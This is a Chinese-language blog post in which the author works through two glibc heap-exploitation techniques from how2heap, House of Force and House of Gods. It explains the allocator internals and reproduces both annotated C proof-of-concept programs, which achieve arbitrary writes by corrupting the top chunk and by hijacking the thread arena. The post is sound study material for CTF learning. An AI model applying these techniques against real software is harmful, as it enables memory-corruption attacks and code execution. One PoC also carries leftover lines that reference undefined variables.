Zj_W1nd's BLOG

How2Heap(3)—House of Force & House of Gods.

2023/12/17

House of Force

原理分析介绍

这个利用和House of Spirit不同,不是通过伪造chunk来实现的,而是直接利用top chunk进行攻击。因为这个漏洞非常的简单粗暴。
它的核心原理也是令人觉得非常幽默:堆管理器从top chunk中为我们分配空间的时候,只检查top chunk是不是太小了不够用而不检查top chunk是不是太大了。_int_malloc()中的源码大概是这样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb); //<--然后注意这里
av->top = remainder;// top chunk更新
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

size域更新:

1
2
3
4
victim = av->top;
size = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

切割完后,新的topchunk简单更新为了remainder,这个宏也是见很多次了:

1
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

那么这个算不上检查的检查带来了一个极其简单的问题:如果top chunk的size域大的离谱,我们就能很简单地能往进程的任意地址分配可写的堆块了(绕过mmap)。这就是House of Force的核心原理。

POC/EXP

老规矩先来看poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite."; //数据段

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);


fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);//0x100
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);//-2是因为p1直接指向可写区域,还有两个字段

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);//real_size是264 可能是加上了top chunk的prev_size域
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);//这返回的是280

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//减去一个prev_size,真实的top_chunk地址
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n这句话的意思是要保证topchunk的size域足够大,见后\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));//size域的值读一下
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;//改写!
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic(巨大). We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
//一个关键在于evil_size的计算
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);


// some further discussion:
fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
"and we \nwant to set this result to the address of malloc_got_address-8\n\n");
fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

下面一点点看是怎么个事。很多部分请参考程序注释。
原理既然明白了前面别的就不多说。poc复现首先是算出了top chunk的真实起始地址,然后将size域写成了-1(最大)。这玩意越大越好,主要是因为如果检查到top chunk不够的话会发生这个情况:

1
2
3
4
5
else {
void *p = sysmalloc(nb, av);
if (p != NULL) alloc_perturb(p, bytes);
return p;
}

malloc会直接调用系统函数返回新的内存空间给我们,就没有办法实现任意地址写了。

size拉满之后,我们首先做的是分配一个evil_size大小的chunk。分配这个evil_size大小chunk的目的是为了让我们再下一次的malloc的指针能直接往里写入数据。如图所示

house_of_force.png

这个evil_size的计算见源码中的注释。简单说就是目前topchunk和overwrite地址的差,减去四个字段大小(topchunk的prev_size和size以及等下我们malloc之后overwrite地址前面的prev_size和size)。然后malloc一个evil_size的chunk,就会把topchunk的地址推进到我们代写地址-2的位置。此时直接分配一个合适大小的chunk,然后向内写入数据,我们就能改写任意地址的数据了。

怎么能让malloc向低地址分配chunk呢?

那么,进程虚拟地址空间分布数据段和bss段等都在堆的下方(低地址处),我们怎么能这样修改呢?难道malloc传进负数也会照样计算向低地址分配吗?

这里就又要看libc源码了······首先可以肯定的是,__libc_malloc()接收size_t参数,负数会被作为无符号数传入,不会报错的。那么为什么top chunk能被抬高到bss段处(换言之,任意地址处)呢?这里参考了CTFWiki。malloc会有这样的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

负数范围内只要绝对值够大(?)就不用担心REQUEST_OUT_OF_RANGE(req)检查,因为只卡到-2*MINSIZE的大小,取补之后只要绝对值够大就能通过。另外,evil_size还需要考虑对齐,这个就不多讲了我也没太搞懂,碰见题怎么都打不通再说吧()。

而且,evil_chunk的唯一目的就是让topchunk指向我们将要改写的region,让下一个可写chunk合法的覆盖数据。我们并不会往evil_chunk中实际写入任何数据,所以它只是一个指针。ptmalloc也只是进行了一些chunk头的更新,evil_chunk里面的内容没动。如果真的全写上东西了估计程序早就崩溃了。后续遇到题目也会更新在这里。

House of Gods

这什么构式东西,看来我还得了解下main_arena这玩意是怎么工作的。这个漏洞的poc说可以劫持整个thread_arena,看了一半看不下去了,感觉实际利用价值不太大?少写点大概理解就行了吧。参考:House of Gods。非常感谢大佬的这篇文章。

好,那么好,终于看懂了。

main_arena

严格来讲应该是thread_arena,即每个线程都会有一个自己的竞技场。怎么说呢,感觉对这个东西有两种不同的理解,在glibc源码中,arena是mallinfo的一个int型字段,用来标识从操作系统中取得的但还没有分配的空间大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct mallinfo
{
int arena; /* non-mmapped space allocated from system */
int ordblks; /* number of free chunks */
int smblks; /* number of fastbin blocks */
int hblks; /* number of mmapped regions */
int hblkhd; /* space in mmapped regions */
int usmblks; /* maximum total allocated space */
int fsmblks; /* space available in freed fastbin blocks */
int uordblks; /* total allocated space */
int fordblks; /* total free space */
int keepcost; /* top-most, releasable (via malloc_trim) space */
};

所以arena就指代的是操作系统分配给程序的一块大内存池。但是从这个poc以及部分网上的资料来看,main_arena似乎指的是一个维护管理堆和bin的结构体malloc_state(二编:也有这种说法,arena多指这个结构体)。下面代码中提到的binmap就位于这个结构体中。这个结构体维护了主竞技场以及各个非主竞技场的信息,用里面的next指针连接各个分竞技场的其他信息。下面展示这个结构体里面可能对我们有用的几个字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct malloc_state
{
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; //fastbin链的管理头,总共10个, 每个0x10字节

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;//0x4 到此为止总共0x96字节

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder; //切割后剩下的chunk链接到last_remainder

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; // 每个bin头有fd和bk两个指针

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE]; //位图,BINMAPSIZE就是4。每一项用32bit来分别表示当前bin哪个链上有chunk,通过按位与的方式

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
}

这个漏洞似乎还涉及一些关于arena的管理机制。最核心的是函数reused_arena()。这个函数利用malloc_state的next字段进行遍历,返回一个新的没有锁的竞技场供我们使用,我们最后的目的就是让这个函数返回一个fake_arena给我们。第一次调用的时候它会返回main arena,第二次调用则会返回next指向的arena。但是要触发这个函数并不简单,系统凭什么给你新竞技场?这就要求我们篡改几个关键字段的数据。

首先是一个进程能有几个竞技场,我们要把这个narenas字段改的稍大一点,否则由于ptmalloc的设计理念,它会给我们原来有的arena而不是新的。其次是要申请一个大内存让malloc给我们新竞技场,但是也不能太大让系统来,所以应该是要先改掉system_mem字段,然后再申请一个比这个还大一点的内存。应该是这样。

总之,看下作者的abstract(copilot翻译):

这个技术的核心是分配一个与main_arena中的binmap字段重叠的fakechunk。这个fakechunk位于偏移量0x850处。通过将chunk分配到smallbins或largebins中,可以精心构造fakechunk的size字段。然后,通过一个write-after-free漏洞,将binmap-chunk链接到unsorted bin中,以便将其作为精确匹配重新分配。现在可以在偏移量0x868处篡改main_arena.next指针,并注入一个fake arena的地址。最后,通过一个unsorted bin攻击,用一个非常大的值破坏narenas变量。从那里开始,只需要两个至少0xffffffffffffffc0字节内存的分配请求,就会触发两次对reused_arena()函数的连续调用,该函数遍历被破坏的arena列表,并将thread_arena设置为存储在main_arena.next中的地址 - 即fake arena的地址。

POC

看起来好复杂…下面是总结步骤:

  1. 泄露unsorted bin 头的地址,malloc一个smallchunk然后直接读。通过free+malloc(intm)启动遍历过程,将位图置位。这个时候我们让bin[0]作为伪造的size域存在。此时它是0x200.

  2. 首先将smallchunk放回unsortedbin中。用上面的leak在main_arena内寻址。利用UAF修改smallchunk的bk,在unsortedbin里面链接上这个伪造chunk。

  3. 利用malloc_state的特性,修改fastbin chunk的bk字段然后将其释放,控制其在malloc_state的开头,接着作为一个伪造的bk字段存在,链接到INTM。巧妙至极。

    这时候的unsorted bin:head->smallchunk->binmap[last](伪造的)->main_arena的开头(由于next指针开始就是指向本身的)->fast40->INTM

  4. 将binmap chunk作为一个“chunk”取出。得到了写入main_arena(即便是部分)的权限!开始为触发reused_arena()的条件铺路。

  5. 接着UAF改INTM的bk,让INTM后面再连接上narenas字段。然后取出INTM触发unsortedbin attack,将narenas写为一个大数。同时用binmap chunk,改掉system_mem字段。

  6. 用binmap chunk将arena的next指针随便写成你想分配的地址

  7. 连续调用两次malloc(0xffffffffffffffbf + 1),arena直接全部hijack掉。

  8. 随便操。

还是看看POC吧家人们,printf的注释太多删掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>
/*
* Welcome to the House of Gods...
*
* House of Gods is an arena hijacking technique for glibc < 2.27. It supplies
* the attacker with an arbitrary write against the thread_arena symbol of
* the main thread. This can be used to replace the main_arena with a
* carefully crafted fake arena. The exploit was tested against
*
* - glibc-2.23
* - glibc-2.24
* - glibc-2.25
* - glibc-2.26
*
* Following requirements are mandatory(强制的),这不是扯淡吗
*
* - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)
* - control over first 5 quadwords of a chunk's userdata
* - a single write-after-free bug on an unsorted chunk
* - heap address leak + libc address leak
*
* This PoC demonstrates how to leverage(利用) the House of Gods in order to hijack
* the thread_arena. But it wont explain how to escalate(增强) further to
* arbitrary code execution, since this step is trivial(ez,不费吹灰之力地) once the whole arena
* is under control.
*
* Also note, that the how2heap PoC might use more allocations than
* previously stated. This is intentional and has educational purposes.
*
* If you want to read the full technical description of this technique, going
* from zero to arbitrary code execution within only 10 to 11 allocations, here
* is the original document I've written
*
* https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT
*
* I recommend reading this document while experimenting with
* the how2heap PoC.
*
* Besides that, this technique abuses a minor bug in glibc, which I have
* already submitted to bugzilla at
*
* https://sourceware.org/bugzilla/show_bug.cgi?id=29709
*
* AUTHOR: David Milosevic (milo)
*
* */

int main(void) {
void *SMALLCHUNK = malloc(0x88);
//先别管这俩fast的
void *FAST20 = malloc(0x18);
void *FAST40 = malloc(0x38);
//放进unsorted bin
free(SMALLCHUNK);
//泄露一下,这应该是把fd值打出来了,就是main arena里面的那个header,bin字段的地址
const uint64_t leak = *((uint64_t*) SMALLCHUNK);

printf("And now we need to make a request for a chunk which can not be serviced by\n");
printf("our recently free'd smallchunk. Thus, we will make a request for a\n");
printf("0xa0-sized chunk - let us call this chunk INTM (intermediate,中间体).\n\n");

//刚刚那个让放进smallbin里了
void *INTM = malloc(0x98);
//这个操作触发大遍历的同时,调用了函数将binmao[0]写成了0x200,把这个数作为待会构造的fakechunk的size域使用
printf("Our smallchunk should be now in the 0x90-smallbin. This process also triggered\n");
printf("the mark_bin(m, i) macro within the malloc source code. If you inspect the\n");
printf("main_arena's binmap located at offset 0x855, you will notice that the initial\n");
printf("value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\n");
printf("sizefield to bypass the unsorted bin checks.\n\n");

printf("We would also need a valid bk pointer in order to bypass the partial unlinking\n");
printf("procedure within the unsorted bin. But luckily, the main_arena.next pointer at\n");
printf("offset 0x868 points initially to the start of the main_arena itself. This fact\n");
printf("makes it possible to pass the partial unlinking without segfaulting.\n\n");

//从smallbin取回之前那块,没必要,只是为了堆排布紧凑一点
SMALLCHUNK = malloc(0x88);

//再放进unsortedbin
free(SMALLCHUNK);

//优秀(看了大佬的帖子懂了):这里用UAF,将这个chunk的bk写成了&main_arena.bins[253],这是bin数组的最后一项的地址,也就是fake_chunk的prevsize域。
//利用leak的bin地址,改写了binmap,这一步伪造了我们fakechunk的prevsize字段
*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;//虽然这个7f8是怎么算的不知道

printf("The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\n");
printf("of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\n");
printf("in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\n");
printf("point to another allocated chunk (INTM) by writing to its bk pointer before\n");
printf("actually free'ing it.\n\n");

/*
* before free'ing those chunks, let us write
* the address of another chunk to the currently
* unused bk pointer of FAST40. We can reuse
* the previously requested INTM chunk for that.
*
* Free'ing FAST40 wont reset the bk pointer, thus
* we can let it point to an allocated chunk while
* having it stored in one of the fastbins.
*
* The reason behind this, is the simple fact that
* we will need to perform an unsorted bin attack later.
* And we can not request a 0x40-chunk to trigger the
* partial unlinking, since a 0x40 request will be serviced
* from the fastbins instead of the unsorted bin.
* */
*((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
//-8*2,让FAST40的bk段指向INTM

/*
* and now free the 0x20-chunk in order to forge a sizefield.
* */
free(FAST20);
/*
* and the 0x40-chunk in order to forge a bk pointer.
* */
free(FAST40);
// 现在的unsorted bin:
// head -> SMALLCHUNK -> binmap[last]
// -> main-arena(main_arena的next指针)
//-> FAST40(回顾那个结构体,还记得fastbin在最低地址吗) -> INTM

printf("The binmap attack is nearly done. The only thing left to do, is\n");
printf("to make a request for a size that matches the binmap-chunk's sizefield.\n\n");

/*
* all the hard work finally pays off...we can
* now allocate the binmap-chunk(当然这是个假的,把chunk看成一个满足一些条件的结构体) from the unsorted bin.
* */
void *BINMAP = malloc(0x1f8);
//取出来这个chunk,unsorted bin 类似于 head -> main-arena -> FAST40 -> INTM
//现在,我们已经有了main_arena一小部分的控制权,下面的核心就是向next字段注入一个伪造的arena地址
//然后通过ptmalloc的一些机制,让malloc的内存从fake arena分配(reused_arena函数)


printf("Let us start with the unsorted bin attack. We load the address of narenas\n");
printf("minus 0x10 into the bk pointer of the currently allocated INTM chunk...\n\n");

/*
* set INTM's bk to narenas-0x10. This will
* be our target for the unsorted bin attack.
* */
*((uint64_t*) (INTM + 0x8)) = leak - 0xa40;
//我也不知道narenas是哪个字段......
printf("...and then manipulate the main_arena.system_mem field in order to pass the\n");
printf("size sanity checks for the chunk overlapping the main-arena.\n\n");

/*
* this way we can abuse a heap pointer
* as a valid sizefield.
* */
*((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;
//别管细节了,自己算了半天也没算明白,反正这地方应该是把system_mem改最大了
printf("The unsorted bin should now look like this\n\n");

printf("head -> main-arena -> FAST40 -> INTM -> narenas-0x10\n");
printf(" bk bk bk bk\n\n");

printf("We can now trigger the unsorted bin attack by requesting the\n");
printf("INTM chunk as an exact fit.\n\n");

/*
* request the INTM chunk from the unsorted bin
* in order to trigger a partial unlinking between
* head and narenas-0x10.
* */
//unsorted bin attack 将narenas的值写的足够大(unsorted bin attack会再聊)
INTM = malloc(0x98);

printf("Perfect. narenas is now set to the address of the unsorted bin's head\n");
printf("which should be large enough to exceed the existing arena limit.\n\n");

printf("Let's proceed with the manipulation of the main_arena.next pointer\n");
printf("within our previously allocated binmap-chunk. The address we write\n");
printf("to this field will become the future value of thread_arena.\n\n");

*((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);//这随便填地址,会作为fake_arena

//两次调用malloc,触发reused_arena()

/*
* the first call will force the reused_arena()
* function to set thread_arena to the address of
* the current main-arena.
* */
malloc(0xffffffffffffffbf + 1);
/*
* the second call will force the reused_arena()
* function to set thread_arena to the address stored
* in main_arena.next - our fake arena.
* */
malloc(0xffffffffffffffbf + 1);

uint64_t fakechunk[4] = {

0x0000000000000000, 0x0000000000000073,
0x4141414141414141, 0x0000000000000000
};
/* ...and place it in the 0x70-fastbin of our fake arena
* */
*((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);

printf("Fakechunk in position at stack address %p\n", fakechunk);
printf("Target data within the fakechunk at address %p\n", &fakechunk[2]);
printf("Its current value is %#lx\n\n", fakechunk[2]);

printf("And after requesting a 0x70-chunk...\n");

/*
* use the fake arena to perform arbitrary allocations
* */
void *FAKECHUNK = malloc(0x68);

printf("...malloc returns us the fakechunk at %p\n\n", FAKECHUNK);

printf("Overwriting the newly allocated chunk changes the target\n");
printf("data as well: ");

*((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
printf("%#lx\n", fakechunk[2]);

assert(fakechunk[2] == 0x4242424242424242);

return EXIT_SUCCESS;
}

总结:这个漏洞的发现者可能是个天才…怎么想到的这么阴间的利用方式,利用复合位图的一个伪造chunk来实现篡改main_arena。unsorted bin链排布分配的完美而且手算便宜也完美。牛逼。

CATALOG
  1. 1. House of Force
    1. 1.1. 原理分析介绍
    2. 1.2. POC/EXP
    3. 1.3. 怎么能让malloc向低地址分配chunk呢?
  2. 2. House of Gods
    1. 2.1. main_arena
    2. 2.2. POC